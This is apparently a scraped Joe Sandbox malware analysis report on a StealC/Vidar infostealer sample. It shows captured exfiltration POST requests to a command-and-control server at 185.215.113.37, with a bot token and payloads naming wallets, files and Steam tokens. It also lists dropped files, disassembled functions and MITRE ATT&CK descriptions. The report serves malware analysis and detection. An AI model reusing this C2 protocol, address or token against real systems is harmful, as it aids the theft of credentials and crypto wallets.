Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGCGHIJKEGIECBFCBAEHost: 185.215.113.37Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDAFIJJECFHJJKFCAKJHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 44 41 46 49 4a 4a 45 43 46 48 4a 4a 4b 46 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 63 64 37 33 61 32 30 34 31 38 62 66 31 61 31 35 35 62 39 37 31 64 37 33 31 35 62 61 65 38 64 65 30 39 35 66 64 61 64 36 36 32 35 32 36 37 38 38 31 63 66 39 38 65 39 65 66 37 63 31 37 35 36 33 39 61 64 30 36 35 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 41 46 49 4a 4a 45 43 46 48 4a 4a 4b 46 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 41 46 49 4a 4a 45 43 46 48 4a 4a 4b 46 43 41 4b 4a 2d 2d 0d 0a Data Ascii: ------EHDAFIJJECFHJJKFCAKJContent-Disposition: form-data; name="token"c9cd73a20418bf1a155b971d7315bae8de095fdad6625267881cf98e9ef7c175639ad065------EHDAFIJJECFHJJKFCAKJContent-Disposition: form-data; name="message"wallets------EHDAFIJJECFHJJKFCAKJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCFCFCGCGIEHIECAFCFIHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 46 43 46 43 47 43 47 49 45 48 49 45 43 41 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 63 64 37 33 61 32 30 34 31 38 62 66 31 61 31 35 35 62 39 37 31 64 37 33 31 35 62 61 65 38 64 65 30 39 35 66 64 61 64 36 36 32 35 32 36 37 38 38 31 63 66 39 38 65 39 65 66 37 63 31 37 35 36 33 39 61 64 30 36 35 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 43 46 43 47 43 47 49 45 48 49 45 43 41 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 43 46 43 47 43 47 49 45 48 49 45 43 41 46 43 46 49 2d 2d 0d 0a Data Ascii: ------GCFCFCGCGIEHIECAFCFIContent-Disposition: form-data; name="token"c9cd73a20418bf1a155b971d7315bae8de095fdad6625267881cf98e9ef7c175639ad065------GCFCFCGCGIEHIECAFCFIContent-Disposition: form-data; name="message"files------GCFCFCGCGIEHIECAFCFI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHJKFHJJJKJJJJKEHCHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 63 64 37 33 61 32 30 34 31 38 62 66 31 61 31 35 35 62 39 37 31 64 37 33 31 35 62 61 65 38 64 65 30 39 35 66 64 61 64 36 36 32 35 32 36 37 38 38 31 63 66 39 38 65 39 65 66 37 63 31 37 35 36 33 39 61 64 30 36 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 2d 2d 0d 0a Data Ascii: ------JEGHJKFHJJJKJJJJKEHCContent-Disposition: form-data; name="token"c9cd73a20418bf1a155b971d7315bae8de095fdad6625267881cf98e9ef7c175639ad065------JEGHJKFHJJJKJJJJKEHCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JEGHJKFHJJJKJJJJKEHCContent-Disposition: form-data; name="file"------JEGHJKFHJJJKJJJJKEHC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKKKEGIDBGHIDGDHDBFHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 63 64 37 33 61 32 30 34 31 38 62 66 31 61 31 35 35 62 39 37 31 64 37 33 31 35 62 61 65 38 64 65 30 39 35 66 64 61 64 36 36 32 35 32 36 37 38 38 31 63 66 39 38 65 39 65 66 37 63 31 37 35 36 33 39 61 64 30 36 35 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 2d 2d 0d 0a Data Ascii: ------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="token"c9cd73a20418bf1a155b971d7315bae8de095fdad6625267881cf98e9ef7c175639ad065------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="message"ybncbhylepme------EBKKKEGIDBGHIDGDHDBF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFBKKJECAKEHJJJDBAFHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 63 64 37 33 61 32 30 34 31 38 62 66 31 61 31 35 35 62 39 37 31 64 37 33 31 35 62 61 65 38 64 65 30 39 35 66 64 61 64 36 36 32 35 32 36 37 38 38 31 63 66 39 38 65 39 65 66 37 63 31 37 35 36 33 39 61 64 30 36 35 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 2d 2d 0d 0a Data Ascii: ------EBFBKKJECAKEHJJJDBAFContent-Disposition: form-data; name="token"c9cd73a20418bf1a155b971d7315bae8de095fdad6625267881cf98e9ef7c175639ad065------EBFBKKJECAKEHJJJDBAFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EBFBKKJECAKEHJJJDBAF--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAKJEGCFBGDHJJJJJKJECFCFCA

C:\ProgramData\AEGHIJEHJDHIDHIDAEHC

C:\ProgramData\AFCBFIJE

C:\ProgramData\DHCGIDHD

C:\ProgramData\FCGIJKJJKEBGHJKFIDGCAAFCAF

C:\ProgramData\GCFCFCGCGIEHIECAFCFI

C:\ProgramData\HJJJDAEGIDHCBFHJJJEGIJDBGH

C:\ProgramData\JEGHJKFHJJJKJJJJKEHC

C:\ProgramData\KJJJDHDGDAAKECAKJDAEGCBKEH

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Function 00419860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 004045C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 0040BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 00414910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00404880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00419C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00407710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 00410250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Function 00405100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre